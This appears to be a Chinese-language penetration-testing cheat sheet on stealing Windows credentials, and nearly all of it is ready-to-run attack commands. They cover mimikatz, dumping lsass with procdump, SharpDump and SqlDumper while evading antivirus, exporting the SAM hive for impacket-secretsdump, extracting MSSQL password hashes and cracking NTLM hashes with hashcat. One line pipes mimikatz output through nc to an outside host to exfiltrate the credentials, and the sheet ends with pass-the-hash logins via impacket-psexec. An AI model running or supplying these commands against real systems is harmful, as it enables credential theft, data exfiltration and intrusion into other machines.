跳到主要内容

密码抓取

HASH密码抓取工具

1.wce.exe 需要system权限,且需要用户登陆过才能抓取

wce.exe -w #抓取明文
wce.exe -l #抓取hash

2.QuarksPWDump

QuarksPWDump.exe -dhl -o hash.txt #抓取hash并保存到hash.txt

3.pwdump7 直接运行pwdump7.exe即可抓取hash

4.mimikatz抓密码

mimikatz抓明文和密码都需要账户登录才行

根据系统位数将mimikatz文件夹下的文件上传至服务器,利用mimikatz.exe抓取密码并保存到1.txt文件中,并查看文件内容

mimikatz.exe "privilege:debug" "sekurlsa::logonpasswords full" exit > 1.txt&&type 1.txt

抓取明文原理:通过Isass.exe进程抓取其进程的内存地址,dump出内存中数据,对数据进行解密得到明文密码。

抓取hash原理:通过windows操作系统中的api函数获取其hash值

windows操作系统抓取账户明文密码必须有两个条件:

  • 权限为管理员及以上
  • 账户必须登录过操作系统才能抓取到

5.powershell脚本抓密码hash

powershell -exec bypass
Import-Module .\Get-PassHashes.PS1
Get-PassHashes

以下为离线抓hash密码bypass

6.SAM(注册表)

#靶机运行
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
reg save hklm\security security.hiv

#kali运行
impacket-secretsdump -sam sam.hiv -security security.hiv -system system.hiv LOCAL

7.lsass.exe bypass

Procdump是Windows工具包里的一款工具,由于有微软的官方签名,所以大部分杀软不会查杀。(原理是注入lsass.exe进程,并从其内存中提取) sysinternals工具包下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/

procdump.exe -accepteula -ma lsass.exe lsass.dmp  #通过procdump dump lsass进程的数据到lsass.dmp
mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords" "exit" > Isass.txt && type Isass.txt #利用mimikatz离线功能指定mimidump功能获取Isass.dmp文件中的数据

8.手工导出lsass.dmp文件

首先使用任务管理器点击创建转储文件导出lsass.dmp文件(待验证)

mimikatz.exe "sekurlsa::mimidump lsass.dmp" "log" "sekurlsa::logonpasswords"

9.LaZagne bypass

LaZagne是用于获取存储在本地计算机上的大量密码的开源应用程序。 LaZagne的作用就是找到最常用的一些软件的密码。 LaZagne几乎支持市面上大部分常用工具。包括浏览器、Git、SVN、Wifi、Databases等。 LaZagne自身基于py,跨平台性相对较好。

lazagne.exe all #获取所有本机信息

工具下载:https://github.com/AlessandroZ/LaZagne(支持windows linux Macos)

10.SharpDump bypass 体积小巧(不到10KB) 工具下载地址:https://github.com/GhostPack/SharpDump

tasklist /svc | findstr 'lsass.exe'
C:\Users\Administrator\Desktop>SharpDump.exe pid #把lsass.exe进程数据导出来
#dump的文件是bin后缀,拖到本地机器上以后,先重命名为zip后缀,然后解压
#使用本地的mimikatz进行读取
mimikatz.exe "sekurlsa:minidump debug516" "sekurlsa::logonPasswords full" "exit"

11.SqlDumper 如果目标安装了mssql,可以通过sqldumper.exe来dump lsass进程,没安装也可以手动上传

SqlDumper.exe默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本,参考如下:

140 for SQL Server 2017
130 for SQL Server 2016
120 for SQL Server 2014
110 for SQL Server 2012
100 for SQL Server 2008
90 for SQL Server 2005

sqldumper路径需要根据不同的mssql版本来确定,例如mssql2008r2的下的路径为c:\Program Files\Microsoft SQL Server\100\shared

先找到lsass.exe的进程id

tasklist | findstr "lsass.exe"
sqldumper.exe pid 0 0x01100 #导出dmp文件
#将导出的SQLDmpr0001.mdmp下载到攻击者的电脑上
mimikatz.exe "sekurlsa:minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" "exit" #使用本地的mimikatz.exe进行读取

抓取hash和密码作用

  • 抓取到明文密码可以利用密码进行喷洒(密码重用,撞其他机器),内网其他的服务等等
  • 只抓到hash也能登录操作系统

收集MSSQL 密码hash值

若结果乱码,则将password_hash修改为master.dbo.fn_varbintohexstr(password_hash)

01MSSQL 各版本密码 HASH

MSSQL 2000 版本

select name,password from master.dbo.sysxlogins 
Hash格式:
0x0100(固定) + 8位key+40位HASH1 +40位HASH2
0x0100AC78A243F2E61FA800A7231C501D49CDA5B93A8A2294DC68AE487C99233F245F86A9ED5749F1838021EE1610

img

MSSQL 2005 版本

select name,password_hash from sys.sql_logins
Hash格式:
0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2
0x01004086CEB698DB9D0295DBF84F496FDDCECADE1AE5875EB294

img

MSSQL 2008 R2 版本

Select name,password_hash from sys.sql_logins where name = 'sa'
Hash格式:
0x0100(固定) +8位key+ 20位HASH1 + 20位HASH2
0x0100A9A79055CACB976F1BE9405D2F7BE7B2A98003007978F821

img

MSSQL 2012 R2 版本

select name,password_hash from sys.sql_logins
0x02009B23262ECB00E289977FA1209081C623020F2D28E23B5C615AC7BA8C0F25FEE638DC2E4DEAF023350C1E31199364879A94D65FC79F10BB577D6CB86A8C7148928DC8AFFB

img

SQL Server 2016 版本

select name,password_hash from sys.sql_logins 
0x02002F8E6FBBE1B6A9961A7E397FDD3A26F795DF806A066940B26323BE89F3450064C8657C75E2A3729E8318BBE91692335F4D2F5633BADEF7A25EC8AC003E9C4DB342312505

Hash值破解

Windows hash格式

windows hash 是不加盐值的。

Windows hash被截成两部分,Lmhash和NTLMhash

具体格式为:

Username:RID:Lmhash:NThash
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:12F415499D06ED5FDE3BD8C21D3F30B5

[CMD5] http://cmd5.com

国内的 CMD5.com 也支持 NTLM 类型的 Hash 破解。

image-20221110151917196

[SOMD5] http://somd5.com

[XMD5]http://xmd5.org

拿到 LM 或者 NTLM 的密文时,如果没有明文的时候,最直接的方法当然是直接将其解密啦,这里使用 Hashcat 来进行密码解密。

假设我们读取到 Hash 如下:

  • LM : 921988ba001dc8e14a3b108f3fa6cb6d
  • NTLM : e19ccf75ee54e06b06a5907af13cef42

实际上这个明文是:P@ssw0rd

下面用 Hashcat 来简单演示一下破解,这里破解使用 -a 0 字典破解,hashcat –help 可以看到 LM 和 NTLM 对应的 hash 编号分别为 30001000

3000 | LM                                   | Operating Systems
1000 | NTLM | Operating Systems

废话不多说,下面直接走个流程破解一下吧:

Hashcat 破解 LM Hash

hashcat -a 0 -m 3000 --force '921988ba001dc8e14a3b108f3fa6cb6d' password.txt

因为 LM Hash 长度最长是 14 个字符,密码被分成 2 个长度为 7 的字符进行存放,所以这里 Hashcat 破解的时候也是分 2 半部分来分别进行破解的:

image-20221111124744084

可以看到先破解出了:D,然后破解出了 P@SSW0 是 LM Hash 不区分大小写。

Hashcat 破解 NTLM Hash

hashcat -a 0 -m 1000 --force 'e19ccf75ee54e06b06a5907af13cef42' password.txt

破解成功,得到如下结果:

image-20221111124858619

密码抓取后外传

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" | nc -v 172.16.12.187 6666

远程登录

rdesktop

image-20221110102438812

impacket-psexec

hash传递攻击(只有SID=500的用户可以,默认administrator)

impacket-psexec administrator@172.16.12.2 -hashes :12f415499d06ed5fde3bd8c21d3f30b5  #无lm

impacket-psexec administrator@172.16.12.2 -hashes 00000000000000000000000000000000:12f415499d06ed5fde3bd8c21d3f30b5 #没有lmhash则可以用0填充

image-20221110101347917

PS:

  • windows通过用户名和密码远程登录到操作系统有限制(只能使用sid为500的用户进行远程登录,其他用户不能(工作组环境))
  • 2003使用lmhash进行认证
  • 2008以后都默认使用ntlm hash进行认证